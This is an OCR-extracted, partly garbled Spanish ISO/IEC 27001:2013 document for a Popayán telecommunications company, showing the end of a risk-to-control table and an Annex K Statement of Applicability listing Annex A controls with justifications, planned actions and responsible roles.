controles criptooraficos adoptar una politica de escritorio limpio para los papeles y medios
plog de almacenamiento removibles y una pelitica de pantalla limpia en
las instalaciones de procesamiento de informacion
Abuso de derechos debido a la A.9.2.1 3e debe implementar un preceso formal de registro y de
R81 falta de procedimientos para el A9 CONTROL DEACCESD |cancelacidn de registro de usuario, para posibiltar la asignacion
registro y retiros de usuario de los derechos de acceso
AT ASPECTOS DE . .
) ) SEGURIDAD DE LA 3.1?.1.2 La worgaizacion debe estab!&qer. documentar,
RO5 Falle f_m equipos debu:lo. E_. la INFORMACION DE LA GESTION implementar y ma_ntener proc_:es_a@. proc&d!mbenta@ ¥ contrqles
ausencia de planes de continuidad para asegurar &l nivel de continuidad requeride para la seguridad
DE CONTIMUIDAD DEL . L. ) .
de la informacion durante situaciones adversas.
NEGDCIO
5;?.";0&“ ';I uslz dealﬁslzrnria E: A.8.21 La informacidn se debe clasificar en funcidn de los
RS98 - . AB GESTION DE ACTIVOS requisitos legales, valor, criticidad v susceptibiidad a divulgacién
procedimientos para &l manejo de - . R
: - - o a modificacién no autorizada.
informacidén sensible
Hurte de equipos debido a la
a!an.anr.c:la ) de procesos A.7 SEGURIDAD DELOS A.?.Z.EI. Se debe contar con un progeso formal, &l cual debe ser
R&7 disciplinariocs en el caso que se RECLY HLRAANOS comunicado, para emprender acciones contra empleados que
presente incidentes en seguridad hayan cometido una vielacién a la seguridad de la informacion.
de la informacitn
Hurte de mediocs o decumentos £.11.2.9 Se debe adoptar una politica de escritorio limpic para los
ROB debido a la ausencia de politicas A 11 SEGURIDAD FISICAY DEL |papeles v medios de almacenamiente removibles, y una politica
sobre limpieza de escritoric y ENTORND de pantalla limpia en las instalaciones de procesamiento de
pantalla informacion
Ausencia de procedimientos para
sl cumpimiants  ds  las A12SEGURIDAD DELAS |A12.6.2 Se debe establecer & implementar las reglas para la
Rog disposiciones referente a los . . .
- OPERACIONES instalacidn de software por parte de los usuarios
derechos de proteccion
intelectual.
Manejo inadecuado de
incidentes de seguridad A.16 GESTION DEINCIDENTES [A.16.1.1 Se deben establecer las responsabilidades vy
R100 debido a la ausencia de DESEGURIDAD DE LA procedimientos de gestidn para asegurar una respuesta rapida,
responsabilidades en INFORMACION eficaz y ordenada a los incidentes de seguridad de la informacion
seguridad de la informacion
Error en el use y configuracian de AT7.2.2 Todos los empleados de la organizacion, y en donde sea
los sistemas de |r.|f1:-rmac:n:-n de la A.7 SEGURIDAD DELOS p&l‘tll‘l&l.'ilte, los contratistas, ) del:.n-en re-|:|.b|r la educ:a{in:nn .y la
R101 empresa debido a urn formacién en toma de conciencia apropiada, y actualizaciones
) ) .- RECURSDOS HUMANDOS ) T . .
entrenamiente  insuficiente en regulares sobre las politicas y procedimientos de la organizacién
seguridad de la informacion pertinentes para su cargo




ANEXO K

DECLARACION DE APLICABILIDAD SoA

DECLARACION DE APLICABILIDAD DE LA EMPRESA DE TELECOMUNICACIONES DE POPAYAN S.A EMTELE.S.P

En este documento se tiene la seleccion de controles que se han identificado y que se consideran necesarios como producto de haber realizado un anélisis de riesgo asi como una comparacién con el anexo A de la norma NTCASO/IEC 27001:2013.

Requerimientos Legales (LR): La empresa cumple con este control o debe cumplir con este control por cumplimiento con la legislacion vigente.

Obligaciones Contractuales (OC): El control se evidencia a través de contrataciones o términos legales de mutuo acuerdo.

Requerimiento del negocio/ Mejores practicas (BR/BP): El control se cumple porque la mision de la empresa obliga al cumplimiento de este control o porque La organizacién decide adoptar el control como una mejor préctica para el mejoramiento de su mision institucional.
Resultado de Analisis de Riesgos (RRA): La empres adopta el control como resultado del analisis de riesgos.

Criterios de

seleccién TRATAMIENTO DEL RIESGO
Justificacién de

CONTROLES IS0 27001 Controles Excluido

exclusién Recursos

RL OC BR/BP RRA Actividad Responsable

econémicos

Control Norma IS0 27001:2013 -
27002:2013

Orientacion de la direccion para la gestion de la seguridad de la informacion
Brindar orientacién y soporte, por parte de la direccién, para la sequridad de la informacién, de acuerdo con los requisitos del negocio y los realamentos y

CLAUSULA | Sec |Objetivo de Control

AS.

HEN

1. Establecer un conjunto de politicas de

Se debe definir un conjunto de seguridad de la informacion, acorde a las
politicas para la seguridad de la necesidades de la empresa.
A5 Polﬂlcaslpara la Seguridad de la mlfonnlacu‘:n, laprobada ppr la NO X 2. Rgallzarlostrémltes paralla apmpamén delas Practicante de Tl NO
Politicas de la Informacién. direccién, publicada y comunicada a politicas de seguridad de la informacién por parte
Sequridad de los empleados y a las partes externas de la alta direccion.
|a Informacién pertinentes. 3. Socializar las politicas de seguridad de la
informacién a los empleados de la empresa.
Las politicas para la seguridad de la
infomacién e deben revisar a 1. Definir el periodo de revision y actualizacion
A512 Revision de las Politica de intervalos planificados, o si ocurren NO X de las pollicas de sequiidad de Ia inforacién Comité de seguridad NO

Seguridad de la Informacién. cambios significativos, para asegurar,
su conveniencia, adecuacion y
eficacia continuas.

. de la informacion
implementadas en la empresa.




Organizacion
dela

Seguridad de
la Informacién

Organizacién Interna.

Establecer un marco de referencia de gestién para iniciar y lar la i ién y la op ién de la idad de la informacién dentro de la
organizacié
1. Establecer roles y responsabilidades en
seguridad de la informacién de acuerdo a las
Roles y responsabilidades para Se deben definir y asignar todas las politicas de seguridad de la informacion.
AB11 la seguridad de Ia Informacién responsabilidades de la seguridad de NO 2. Implementar el comité de seguridad de la| Practicante de T| NO
: la informacién. informacién en la empresa con el propdsito de
apoyar las actividades de administracion, gestion
y operacién en seguridad de la informacién.
Como ya se menciono
la empresa no ha
documentado los
procedimientos
Los deberes y areas de comespondientes a
responsabilidad en conflicto se cada proceso, razon
deben separar para reducir las porl la cual !10 e§
A.6.1.2 | Separacion de deberes. posibilidades de modificacion no Sl posible determinar si
autorizada o no intencional, o el uso los debere_s_y areas de
indebide de los activos de la respt?nsabllldad en
organizacion. conflicto de encuentran
separados,
actualmente EMTEL
esta disefando sus
procedimientos  bajo
esta premisa.
1. Establecer un procedimiento para el gestién
de incidentes en seguridad de la informacién, en
el cual se especifique cuando y a través de qué
Se deben mantener contactos mediols se deberia contactar a las autoridafies :
A.6.1.3 | Contacto con las autoridades. apropiados con las autoridades NO (por ejemple, Iaslencargadas de hacP:r cumplir la CoordlnadlorldAe - NO
pertinentes ley, -Ios organismos. -de regulacién y las Jefe de juridica
autoridades de supervision), y cémo se deberfan
reportar de una manera oportuna los incidentes
de seguridad de la informacion identificados (por]|
ejemplo, si se sospecha una violacién de la ley).
Se deben mantener contactos
. apropiados con grupos de interés
AB.14 Contaf:io con grupos de interés especial u ofros foros y asociaciones NO
especial. P . alizadas  en
seguridad.
La seguridad de la informacién se iEms:)elemZQnI:;r: ggmi
Seguridad de la Informacién enla|debe ftratar en la gestion de
AB15 " N .. " Sl no representa un
gestion de proyectos. p , indep del : I~
tipo de proyecto. riesgo critico para la
empresa
A 6.2 |Dispositivos moviles v
Garantizar la seguridad del teletrabajo y el uso de dispositives méviles.
" 1. Implementar una politica de dispositivos
:w:c?i::z Z(Lo']igl:‘::azm::asgpl;n;s méviles, en donde se establezca las directrices
A.6.2.1|Politica para dispositivos maviles. |para gestionar los riesgos NO Qque se debe_n s_egmr para la protgcmén f[su:a de Practicante de T| NO
inroducidos por el uso de esl?s, reslnccml?es para IaA lnstalam?nA de
dispositivos méviles. I canlra»
deshabilitacién remota y copias de respaldo
Debido a la situacién
actual que enfrenta el
mundo por el COVID-
19, la empresa se vio
Se deben implementar una politica y gbhgada a
unas medidas de seguridad de |mplerr1entar !a
soporte, para proteger la informacién modalidad de tlrabajo
A6.2.2 | Teletrabajo. a la que se tiene acceso, que es Sl :n casa pal;a Zgunes
procesada o almacenada en los © sus emp ga s, en
lugares en los que se realiza ese- sentido se
teletrabajo. mallzgl'é un anf‘illsm
financiero, operativo, y
organizacional  para
viabilizar la
implementacién de
este control.




Seguridad de
los Recursos
Humanos

AT7Aa

Antes de asumir el empleo

bilidades y son idéneos en los roles para los que se consideran.

Asegl que los empleados y comp SUS resp
Las venficaciones de Tos

antecedentes  de todos los
candidatos a un empleoc se deben
llevar a cabo de acuerdo con las
leyes, reglamentaciones y éfica

La oficina juridica y division
administrativa verifican antecedentes
fiscales, disciplinarios judiciales,
medidas correctivas, hoja de vida,

1. Incluir en el procedimiento de contratacion la
verificacién de antecedentes de todos los

Jefe de juridica- Jefe

A.7.1.1|Seleccién : deb soporte de estudios entre ofros, esto|  NO i o0, d rdoalas | de divisién NO
pertinentes, y sben  serigon of fin de contratar a la persona candidatos a un empleo, de acuerdo a las leyes y administrativa
pmpomonales a I0§ reqmsnos de idénea y cumplir con los requisitos de reglamentacion pertinente.
negocio, a la clasificacion de la transparencia y eficacia del proceso.
informacién a que se va a tener
arraen i a lne rinenne narrihidne

1. Implementar acuerdo de confidencialidad y no
divulgacién con empleados y contratistas antes
Los acuerdos contractuales con de que tengan acceso a informacién sensible de
" la empresa e incluirlo en el procedimiento de R
. . empleados y contratistas, deben 5 Jefe de juridica- Jefe
Términos y condiciones de - contratacién N
ATA2 empleo establecer sus responsabilidades y NO 2 Establecer las  responsabilidades de division NO
pleo. las de la organizacién en cuanto a la P P Y administrativa
saguridad de la informacion obligaciones contractuales para empleados y
) contratistas de acuerdo a las politicas de
seguridad de la informacién, e incluirlas como
parte integral del contrato.
A7.2 |D la ej ién del
Asegl de que los empleados y i tomen iencia de sus resp bilidades de seguridad de la informacién y las cumplan.
1. Apoyar las politicas, procedimientos y
controles de seguridad de la informacion con su
La direccién debe exigir a todos los gpmAb;l?aorn.como un modelo a seguir en el
- emPIeajdos b cnntrlahstas la cumplimiento de las politicas de seguridad de la
Responsabilidades de la aplicacion de la seguridad de la N . "
AT721]| . 3 N N NO informacion y de esta manera motivar a los Gerente Sl
direccion. informacion de acuerdo con las -
oliticas y procedimientos empleados a su cumplimiento.
zstahlecidos or la organizacién 3. Fortalecer las habilidades en seguridad de la
P 9 ) informacién de sus empleados a través de la
puesta en marcha de capacitaciones regulares
en relacién al fema.
Todos los empleados de la
organizacién, y en donde sea 1. Realizar un plan de capacitacion con el
Toma de conciencia. educacién pertinente, los contratistas, deben propdsito de sensibilizar y concientizar a los
N " Y recibir la educacion y la formacién en empleados acerca de sus responsabilidades en "
A-7.2.2|formacidn en la seguridad de la toma de conciencia apropiada NO relacion al tema de seguridad las buenas Practicante de Tl NO
informacion. o prop - Y " 9 . Y
actualizacicnes regulares sobre las practicas que se deben seguir para proteger la
politicas y procedimientos pertinentes informacién de la empresa.
para su cargo.
Se debe contar con un proceso|En el reglamento interno de la
formal, el cual debe ser comunicado, lempresa se ha establecido como, Jefe de juridica -Jefe
A7.2.3|Proceso disciplinario para emprender acciones contrajcuando y qué medidas se deben NO 1. Definir y tipificar las faltas a la seguridad de la dejdivisién NO
o P ) empleados que hayan cometido una|seguir para abrir un proceso informacidn e incluirlas en el reglamento interno administrativa
violacion a la seguridad de la|disciplinario a un empleado que haya
informacion. cometido una falta grave.
A73 | ¥ CAMOTO ue
Proteger los ints de la izacién como parte del proceso de cambio o terminacién de empleo.
Las responsabilldades y loa deberea En los acuerdos contractuales existe
de seguridad de la informacién que .
L . permanecen validos después de la una cléusula_ de confidencialidad, . .
A73.4 Terminacion o Cambio de terminacién o cambio de emplec se cuyo propésite es proteger la NO 1. Se cubrira con el control A.7.2.1 términos y

responsabilidades de empleo.

deben definir, comunicar al empleado
o contratista y se deben hacer|
cumplir.

informacion de la entidad, durante y
después de la terminacién o cambio
de empleo

condiciones de empleo




Gestién de
activos

AB1

Identificar los activos organizacionales y definir las responsabilidades de proteccién apropiada.

La empresa dispone de un inventario
Se deben identificar los activos de activos de »lnfon-naclén acorde al
: . y alcance definido en el MSPI, el
asociades con la informacion e|; . " . .
instalaciones de procesamiento de inventario de activos de informacién
A.8.1.1 |Inventario de activos. . : se realizo siguiendo los lineamientos NO Practicante de Tl NO
informacién, y se debe elaborar y "
A N propuestos por el MinTIC en la gufa
mantener un inventario de estos - " y N
: denominada gestion y clasificacion
activos. " : N
de activos de informacién en el
marco del MSPI
Para realizar el inventario de activos
de informacién la empresa adopté la
Los activos mantenidos en el guia gestion y clasificacion de activos
A.8.1.2 |Propiedad de los activos. . N . . |del MSPI, en la cual se establece NO Practicante de TI NO
inventario deben tener un propietario. " 5 5
como debe realizarse la asignacion
oportuna de la propiedad de los
activos de informacién.
Se deben identificar, documentar e
implementar reglas para el uso 1. Documentar e implementar una politica de
A8.1.3|Uso aceptable de los activos. aceppble de |nfcnna§:|én yde»actlvos NO gestion de activos, donqle se establezgan las Practicante de T NO
asociados con informacion e reglas para el uso apropiado de los activos de
instalaciones de procesamiento de informacién de la empresa.
informacién.
Todos los empleados y usuarios de 1. Incluir dentro del procedimiento de
partes externas deben devolver todos desvinculacién de personal, la devolucién de Jefe de division
A.8.1.4|Devolucion de Activos. los activos de |la organizacion que se NO todos los activos fisicos y electronicos de la administrativa NO
encuentren a su cargo, al terminar su empresa, entregados previamente a empleados y
empleo, contrato o acuerdo. %] i para el o de sus funciones.
A 8.2 |Clasificacién de la informacién
Asegl r que la informacién recibe un nivel de p! ién, de rdo con su importancia para la
Con el objetivo de asegurar que la
La informacion se debe clasificar en|informacion reciba los niveles de
funcién de los requisitos legales, : "
*|proteccion adecuados, los activos de "
A.8.2.1|Clasificacién de la informacion. valor, criticidad y susceptibilidad a p A NO Practicante de TI NO
divulgacién o a modificacién no|iNformacion  que se  encuentran
autorizada. dentro del alcance del MSPI se
encuentran clasificados
Se debe desarrollar e implementar un :’.':on:c yfa 5e>me|:’c|cn;>el |nvent::lno Y
conjunto adecuado dell@ c»asn |c§cnen e activos acorde a
procedimientos para el etiquetado de [0S lineamientos de la norma solo se
A.8.2.2 |Etiquetado de la informacién. la informacion, de acuerdo con el|realizo en Tl, razon por la cual se sl
esquema de clasificacion  de|djficulta implementar un
|nfcnqacn§n adopiade por la procedimiento para el etiquetado de
organizacion. N .
informacion
Se deben desarrollar e implementar o .
o N 1. Elaborar procedimiento para el manejo,
procedimientos para el mansjo de rocesamiento, almacenamiento y comunicacién
A.8.2.3 |Manejo de activos. activos, de acuerdo con el esquema NO 4 A - ¥ Coordinador de Tl NO
N : N N de informacién de conformidad con su
de clasificacion de informacién " :
N clasificacion
adoptado por la organizacion.
A 8.3 |Manejo de medi
Evitar la divulgacién, la modificacién, el retiro o la d i6n no izados de inf i6n all da en los medios.
Se deben implementar|
procedimientos para la gestion de 1. Implementar un procedimiento para la gestién
A.8.3.1 | Gestion de medios removibles. medios removibles, de acuerdo con NO - imple np P 9 Coordinador de Tl NO
" N de medios removibles
el esquema de clasificacion
adoptado por la organizacién.
Se debe disponer en forma segura de 1. Implementar un procedimiento que permita
A.8.3.2 |Disposicion de los medios. los medios cuando ya no se requiera, NO disponer de forma segura de los medios| Coordinadorde TI NO
utilizande procedimientos formales. removibles cuando ya no se requieran
Este control no se
implementara debido
a que cuando se
requiere realizar el
Los medios que contienen transporte de medios
A.8.3.3 | Transferencia de medios fisicos. informacién se qleben pratgger cgnlm sl gue N contle!-nen
acceso no autorizado, uso indebido o informacién  sensible
corrupcién durante el transporte. de la empresa se
realiza  directamente
con el personal y
servicio de transporte
de la misma




Control de
acceso

A1 |Reauisitos del negocic para
- control de acceso
Limitar el a a o o
Se debe establecer, documentar y
revisar una politica de control de 1. Decumentar & implementar una politica de
A.9.1.1 |Politica de control de acceso. acceso con base en los requisitos del NO control de acceso con base a los requisitos de la [ Practicante de T1 NO
negocio y de seguridad de la empresa
informacian.
Se debe permitir acceso de los Las redes Wifi se encuentran
Acceso a redes y a servicios de  |usuarios a la red y a los servicios de [segmentadas, limitando el acceso a 1. Se cubrira con el control A.9.1.1, A9.2.1 y
A91.2 > " » NO
red. red para los que hayan sido determinados servicios segun los A941
auterizados especificamente, usuarios de cada una de las redes
A92 Gestién de acceso de usuarios
A el de los autorizados y evitar el acceso no autorizado a sistemas y servicios.
Se debe implementar un proceso
formal de registro y de cancelacién 1. Implementar procedimiento formal que permita
A B.2.1 |Registro y cancelacién del I e Y o vl NO gestionar el registro y cancelacion de usuarios y| o o0 NO
- 927 registro de usuarios. osinulgr la asignacien . de "Ios de esta manera posibilitar la asignacion de
Ly iy derechos de acceso.
derechos de acceso.
Se debe implementar un proceso de
auministre  de acceac formal de 1. Implementar proceso que permita asignar y
AL 9.2.2 | SUMINISNS de accese de e R T e 1o NO revocar derechos de acceso a sistemas de| Coordinadorde Tl NO
- 4 P c P informacién y servicios de la empresa
usuarios para todos los sistemas y
servicios.
Este control no s
implementara deblido a
que para la mayoria de
plataformas
tecnologicas
- unicos  que
Se debe restringir y controlar la
Gestion de derechos de acceso derecho  de
[SEEE ] ewrvifsniy asionacién v uso de derechos de s1 Prenogiade
coesa p 2 - dos ingenieras de T1
encargados de  su
administracién, razén
por lo  cual no
representa un riesgo
critico para la empresa.
Gestién de informacién de ';:m::;g;:g:‘é" E‘izr;{:"m::“iér‘;ag: 1. Implementar proceso para la gestiGn
A.9.2.4 |autenticacion secreta de controlar por medio de un procesc de NO asignacion de informacién de autenticacién| Coeordinador de Ti NO
usuarios. b secreta
gestién formal.
1. Se cubrira con los control A.8.1.2 Propledad
. Los propietarios de los activos deben ! "
A 9.2.5 |Revisién de los derechos de o o s Ao e o NO de los activos A.9.2.1 Registro y cancelacion de
acceso de usuarios. oanion o Iarealos roauaras usuarios y A.9.2.2 Suministro de acceso de
usuarios.
Los derechos de accese de todos los
empleados y de usuarios externos a
Retiro o ajuste de los derechos |18 INformacién y a las instalaciones 1. Se cubrira con los control A.9.2.1 Registro y
A28 |00 O de procesamiento de informacion se NO ar ion del regi de ios vy A.9.2.2
: deben retirar al terminar su empleo, Suministro de acceso de usuarios.
contrato © acuerdo, © se deben
ajustar cuando se hagan cambios.
Responsabilidades de los
EMTE usuarios.
Hacer que los rindan porla de su de
Se deberfa exigir a los usuarios que
Ao.a.1 |Uso de informacion de cumplan  las practicas de la NO 1. Se cubrirda con el control A.9.2.4 Gestion de
e para el uso de de
informacién de autenticacién secreta.
A4 |Controlds acceso asistemas y
Evitar el no a v
El acceso a la informacién y a las
funciones de los sistemas de las Restringir el acceso a los actives y aplicaciones
A4 |Restriccion de acceso ala aplicaciones se debe restringir de NO de acuerdo a la politica de control de acceso| Coordinador de T NO
informacian.
acuerdo con la politica de control de definida en el control A.9.1.1
acceso.
Todas las plataformas
tecnologicas cuentan
col sisterna de
Cuando lo requiere la politica de autenticacion, pero
control acceso, el acceso a cada una  maneja
A.9.4.2 |Procedimients de ingreso seguro. [sistemas y aplicaciones se debe EY mecanismos de
de ingreso  difrentes  de
ingreso seguro. acuerdo con el
proveedor, razon por la
cual este control no se
aplicara en la empresa
Los  sistemas  de estion  de 1. Realizar capacitacién con los empleados
. acerca de las buenas practicas en seguridad de
Sistema de gestion de contrasefias deben ser interactivos y > : "
ABas | e Geben asegurar la calidad de. las NO la informacién para la gestion de contrasefas.| Coordinadorde TI NO
contrasenas. 2. Implementar un gestor de contrasefias en la
empresa.
Se debe restringir y controlar
estrictamente el usc de programas
Asaa |HUsede programas ulilitarios utilitarios  que podrian  tener NO  implementar _Procodimiento 2e Sutenticaclon|  coardinador de T1 NO
P 2 - capacidad de anular el sistema y los ¥ L el
controles de las aplicaciones.
Los unicos que tienen
acceso a los codigos
fuentes de las
plataformas
tecnologicas son los
Ao.45 |Control de acceso a cadigos Se debe restringir el acceso a los a1 dos Ingenieros de TI.

fuente de programas.

codigos fuente de los programas

por lo que este control
no  se Iimplementara
porque no representa
un riesgo critico para la
empresa.




A.10.1 |Controles Criptogréficos.

Asegurar el uso apropiado y eficaz de la criptografia para proteger la confidencialidad, la autenticidad y/o la integridad de la informacién.

. 1. Implementar una politica sobre el uso de
Se debe desarrollar e implementar N .
" " controles criptograficos para la proteccion de la
Politica sobre el uso de controles |una politica sobre el uso de controles N " .
A1044( . X NO X |informacién Coordinador de Tl NO
criptograficos. criptograficos para la proteccion de la -
Criplografia informacian 2. Implementar capacitacion sobre el uso de
’ controles criptogréficos
Se debe desarrollar e implementar
una politica sobre el uso, proteccién y 1. Implementar una politica sobre el uso,
A.10.1.2| Gestion de llaves. tiempo de vida de las llaves NO X |proteccién y tiempo de vida de las llaves| Coordinadorde Tl NO
criptograficas, durante tode su ciclo criptograficas durante todo su ciclo de vida.
de vida.




Seguridad
fisica y del
entorno

A11.1 |Areas seguras.

Prevenir el

fisico no

izado, el dafio y la interferencia a la

informacién y a las il

lach dep

iento de informacién de la organizacién.

Se deben definir y usar perimetros de
seguridad, y usarlos para proteger

La empresa cuenta con personal de

1.Definir y reforzar perimetros de seguridad para
proteger areas que contegan informacion critica
de la empresa.

Jefe de division

A.11.1.1 |Perimetro de seguridad fisica. areas que contengan informacién|vigilancia para controlar el acceso NO . L sl
. ; . N : N . 2. Ampliar la cobertura de las camaras de administrativa
confidencial o critica, e instalaciones fisico a sus instalaciones . X . .
N . . seguridad para mejorar el sistema de deteccion
de manejo de informacién. "
de intrusos
1. Implementar formato para el registro y control
de visitantes cumpliende con los lineamientos de
la ley de proteccion de datos personales.
2. Implementar formato para otorgar acceso a las
Las areas seguras se deben proteger N . N . .
N instalaciones de procesamiento de informacién a "
mediante controles de acceso e Coordinador de TI-
. N personal de servicio de soporte extemno. -
A.11.1.2 | Controles de accesos fisicos. apropiados para asegurar que solo NO L - " Jefe de division |
N 3. Exigir y concientizar al personal de el entidad I
se permite el acceso a personal L R administrativa
. acerca del uso visible del camé institucional.
autorizado. . -
4. Implementar mecanismos de autenticacién
para todos los centros de procesamiento de
informacién (Tarjetas de acceso, Pin secreto,
Huella)
El acceso a las
oficinas, recintos e
instalaciones esta
limitada para el
plblico, y en cuanto a
Seguridad de oficinas, recintos & Ss.t debe dlseﬁar_y aplicar s_egundad las areas de
A1113] N fisica a oficinas, recintos e Sl procesamiento de
instalaciones. . . : .
instalaciones. informacién de Tl que
se encuentran en la
sede centro se
trasladaran al
datacenter de la
empresa
1. Desarrollar un plan que permita mejorar la
. Se debe disefar y aplicar proteccién|La empresa cuenta con un plan de proteccion contra amenazas ambientales y -
Proteccién contra amenazas . X . X " . Jefe de divison
Al11.1.4 N fisica contra desastres naturales,|atencion y prevencion contra NO externas (terremotos, explosiones, disturbios o . Sl
externas y ambientales. s X L administrativa
ataques maliciosos o accidentes. desastres. civiles y otras formas de desastres naturales o
causados por el hombre)
. Se c{el}len disefiar y apllear 1. Establecer las directrices y procedimientos
A11.1.5 | Trabajo en areas seguras. procedimientos para trabajo en areas NO .
para el trabajo en areas seguras
seguras.
Se deben controlar los puntos de Este control no se
acceso tales como areas de implementara por
despacho y de carga y otros puntos ahora porque el
A11.1.6 |Areas de despacho y carga. en donde pueden entrar personas no S| proceso encargado de

autorizadas, y si es posible, aislarlos
de las instalaciones de
procesamiento de informacién para
evitar el acceso no autorizado.

las areas de despacho
y caga no se
encuentra dentro del
alcance del MSPI




Seguridad
fisica y del
entorno

Adl.2

Equipos.

Prevenir la pérdida, dafio, robo o p de yla

de las de la

A11.2.1

Ubicacion y proteccion de los
equipos.

Los equipos deben estar ubicados y
protegidos para reducir los riesgos de
amenazas y peligros del entorno, y
las posibilidades de acceso no
autorizado.

Los equipos que se encuentran en el
datacenter se encuentran protegidos
contra acceso no autorizado Yy
amenzas ambientales

NO

1. Trasladar los equipos que se encuentran en el
cuarto de servidores de la sede centro al
datacenter de la empresa para reducir los riesgos
y amanezas a los cuales estan expuestos.

Coordinadorde Tl

si

A11.2.2

Servicios de suministro.

Los equipos se deben proteger
contra fallas de energia y otras
interrupciones causadas por fallas en
los servicios de suministro.

La entidad cuenta con UPS para
proteger los equipos contra fallas o
interrupciones en el fluido eléctrico

NO

1. Establecer un plan de mantenimiento
preventivo para las UPS de la empresa

Coordinadorde Tl

NO

A11.2.3

Seguridad del cableado.

El cableado de energia eléctrica y de
telecomunicaciones que porta datos
o brinda soporte a los servicios de
formacion se debe proteger contra
interceptacion, interferencia o dafo.

sl

Aunque Ta mayoria del
cableado de la
empresa no cumple
con las reglas
establecidas en la
norma ( las lineas de
energia eléctrica y de
telecomunicaciones
que entran a las
instalaciones de
procesamiento de
informacién no son
subterraneas y no se
encuentran separadas
para evitar|
interferencias), en este
momento no es posible
que la
implemente este
control debido a que
. Lant: a

A11.2.4

Mantenimiento de equipos.

Los equipos se deben mantener
correctamente para asegurar su
disponibilidad e integridad continuas.

NO

1. Implementar plan anual de mantenimiento
preventivo para todos los equipos de la empresa.
2. Implementar hoja de vida de equipos con el
propdsito de llevar registro de los
m imientos pi i ¥ co i que se
le realizan al equipo, asi como las fallas que
presenta, e incluila en el procedimiento de
mantenimiento preventivo.
3. Implementar un procedimiento para establecer|
las directrices que se deben seguir para
mantenimientos de equipos que se realizan por|
fuera de las instalaciones de la empresa.

Coordinadorde Tl

NO

A11.25

Retiro de activos.

Los equipos, informacién o software
no se deben retirar de su sitio sin
autorizacion previa.

NO

1. Implementar procedimiento para el retiro de
equipos, informacion o software de la empresa.

Coordinadorde Tl

NO

A11.28

Seguridad de los equipos y
activos fuera de las instalaciones.

Se deben aplicar medidas de
seguridad a los activos que se
encuentran fuera de las instalaciones
de la organizacién, teniendo en
cuenta los diferentes riesgos de
trabajar fuera de dichas
instalaciones.

si

Este control no se
implementara debido a
que los equipos que
permanecen por fuera
de las instalaciones de
la empresa son los del
area operativa, razén
por la cual se hace
necesario clasificar los
activos del area en
mencion y establecer|
los riesgos asociados
a cada uno, para
determinar e
implementar las
medidas de seguridad
acorde a los resultados

A11.27

Disposiciéon segura o reutilizacion
de equipos.

Se deben \verificar todos los
elementos de equipos que contengan
medios de almacenamiento para
asegurar que cualquier dato
confidencial o software licenciado
haya sideo retirado o sobre escrito en
forma segura antes de su disposicién
o rehudso.

NO

1. Definir procedimiento para reutilizacién o
diposicion segura de equipos, con el fin de
garantizar que la informacién se elimine
completamente,

Cordinador de Tl

NO

A11.2.8

Equipos de usuario desatendido.

Los usuarios deben asegurarse de
que a los equipos desatendidos se
les da proteccién apropiada.

NO

1. Se cubrira con el control A.11.2.9 Politica de
escritorio limpio y pantalla limpia

A11.29

Politica de escritorio limpio y
pantalla limpia

Se debe adoptar una politica de
escritorio limpio para los papeles y
medios de almacenamiento
removibles, y una politica de pantalla
limpia en las instalaciones de
procesamiento de informacion.

NO

1. Implementar politica de escritorio limpio y
pantalla limpia

Practicante de Tl

NO




Seguridad de
las
operaciones

Procedimientos operacionales

E¥EL y responsabilidades.
Asegurar las operaciones correctas y seguras de las instalaciones de procesamiento de informacién.
Los procedimientos de operacion se - .
Procedimientos de operacién deben documentar oner a 1. Documentar los procedimientos de operacidn
A1211 P N . ¥y por NO de los sistemas de informacidn que tiene Tl bajo| Coordinadorde Tl NO
documentados. disposicién de todos los usuarios que - N
. su administracion.
los necesiten.
Se deben controlar los cambios en la
organizacién, en los procesos de
A12.1.2 | Gestidn de cambios. negocio, en las |nsta|acmngsy enlos NO 1. Implementar procedimiento para la gestion de Coordinador de TI NO
sistemas de procesamiento de cambios
informacion que afectan la seguridad
de la informacién.
Se debe hacer seguimiento ?I uso de 1. Elaborar plan de gestion de capacidad para
los recursas, hacer los ajustes, y los equipos y sistemas criticos de la empresa
A.12.1.3 | Gestion de capacidad. hacer proyecciones de los requisitos NO quipos y 'a emp Y| Goordinador de Tl Sl
i conforme se tenga proyectado incluirlo en el
de capacidad futura, para asegurar el
N N presupuesto anual.
desempefio requerido del sistema
Este control no se
implementara debide a
que para el desarrollo
de nuevo software la
Se deben separar los ambientes de empresa realiza
. contrataciones con
. . desarrollo, prueba y operacién, para ’
Separacién de los ambientes de . R entidades externas las
Al1214 . reducir los riesgos de acceso o© Sl
desarrollo, pruebas y operacion. . ? . cuales se encargan de
cambios no autorizades al ambiente .
. cumplir ~ con las
de operacion. -
restricciones de
desarrollo de software
en ambientes de
prueba y no de
operacion
A122 Proteccién contra cédigos
maliciosos.
Asegurarse de que la informacién y las instalaciones de procesamiento de informacién estén protegidas contra cédigos maliciosos.
Se deben implementar controles de
deteccion, de prevencion y de 1. Implementar politica de prohibicion de
A12.2.1 Controles contra codigos recuperacién, combinados con la NO software no autorizado Practicante de TI- S|
©T Imaliciosos toma de conciencia apropiada de los 2. Implementar controles de deteccion y Coordinador de T|
usuarios, para proteger contra prevencion contra codigo malicioso
cédigos maliciosos.
A12.3 |Copias de respaldo.
Proteger contra la pérdida de datos.
Se deben hacer copias de respaldo
de la informacién, software e
A.12.3.1 Respaldo de la informacién. imagenes de los sistemas, y ponerlas NO 1. Implementar politica y procedimiento para la Practicante de T1 NO

a prueba regularmente de acuerdo
con una poliica de copias de
respaldo acordadas.

realizacién de copias de respaldo




Seguridad de
las
operaciones

Al24

Registro y seguimiento.

Reai va

Se deben elaborar, conservar y
revisar regularmente los registros

1. Determinar los distintos eventos a registrar en
cada sistema y revisar los registros de forma

A.12.4.1 |Registro de eventos. acerca de actividades del usuario, NO independientemente de  si Coordinador de Tl NO
excepciones, fallas y eventos de P
seguridad de la informacion.
Este control no se
implementara por el
N N N Las instalaciones y la informacién de l:nqmenle porque los
Proteccion de la informacion de N anicos que tienen
A124.2 N registro se deben proteger contra sI N
registro. N N acceso a los registros
alteracion y acceso no autorizado. como  administrador
son los ingenieros de
TI
. - Registrar las actividades no solo de los
Registros del administrador Ic;:Is oac::’a‘:z:‘edseflz:sfecll'nrgmssehiliebre: usuarios sino también de los administradores.
A.124.3 9 Y N P N NO Ninguno usuario debe tener permiso para borrar| Coordinadorde Tl NO
operador. registrar, y los registros se deben
proteger y revisar con regularidad.
Los relojes de todos los sistemas de
procesamiento de informacion
A12.4.4 | Sincronizacisn de relojes. pertinentes dentro de  una NO 1. Sincronizar la hora en todos los sistemas de| oo 0o o) NO
organizacién o ambito de seguridad procesamiento de informacion.
se deben sincronizar con una Unica
fuente de referencia de tiempo.
